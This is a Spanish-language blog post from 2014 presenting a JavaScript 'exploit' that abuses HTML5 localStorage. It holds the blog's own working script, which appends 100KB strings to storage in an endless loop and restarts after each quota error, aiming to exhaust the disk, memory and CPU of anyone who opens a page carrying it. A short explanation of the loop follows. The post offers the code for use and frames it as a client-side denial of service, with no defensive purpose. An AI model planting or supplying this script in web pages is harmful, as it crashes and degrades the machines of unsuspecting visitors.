lunes, 29 de diciembre de 2014

Exploit localstorage (Webstorage) HTML5


HTML5 ha irrumpido con fuerza desde que fue anunciado gracias a sus oportunas novedades que contiene en su API. Entre las dichas novedades existe una llamada el Webstorage o Localstorage que a en vez de usar sentencias SQL permite hacer un almacenamiento por medio de un diccionario (Llave-Valor):
localStorage["llave"] = "datos";

Con lo anterior se hace posible almacenar datos superiores a los 4k que permitian las cookies. Pero existe un fallo que no ha sido solucionado el cual permite hacer un llenado del disco duro (Gigas en pocos segundos) sobrepasando el umbral de 5 MB definido por el estándar, el siguiente enlace explica en detalle como explotar esa vulnerabilidad de los navegadores modernos y tiene su código dispobile en Github:

http://feross.org/fill-disk/

Para llevar esto al extremo en Nación Bit nos hemos propuesto crear nuestro propio código en JavaScript para no solamente saturar el disco duro, sino tambien de paso, la RAM y CPU (:P) con lo cual se podría generar una denegación de servicio del lado del cliente que acceda a la pagina desde un navegador con soporte de HTML5. Este es el código:

function repetir(datos, cantidad) {
  var array = [];
  while (cantidad--) {
     array.push(datos);
  }
  return array.join('');
}

var mis100bytes = '0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789';
var mis1k = repetir(mis100bytes, 10);
var mis10k = repetir(mis1k, 10);
var mis100k = repetir(mis10k, 10);

function explotar(){
   localStorage["llenar"]='';
   try{
    while (true) {localStorage["llenar"]=localStorage["llenar"]+mis100k;}
  }
  catch(e){
     console.error('error lleno');
     liberar();
  }
}

function liberar(){
   localStorage.removeItem('llenar');
   explotar();
}

¿Como Funciona?

Es sencillo, por medio de la variable mis100bytes almacenamos cien caracteres (1 byte de longitud por cada uno) y con la función repetir() multiplicamos el valor para obtener 1KB, 10KB y 100KB. La función explotar() inicia un ciclo infinito donde se acumulan esos KB hasta que se captura un error de desbordamiento con la funcion liberar() la cual de forma "maquiavelica" salta de nuevo a explotar() creando un circulo vicioso que colapsa el disco, memoria y procesador. El sigueinte video (como es costumbre) ilustra lo que puede suceder.


   

No hay comentarios:

Publicar un comentario

Distributed By Free Blogger Templates | Designed By Seo Blogger Templates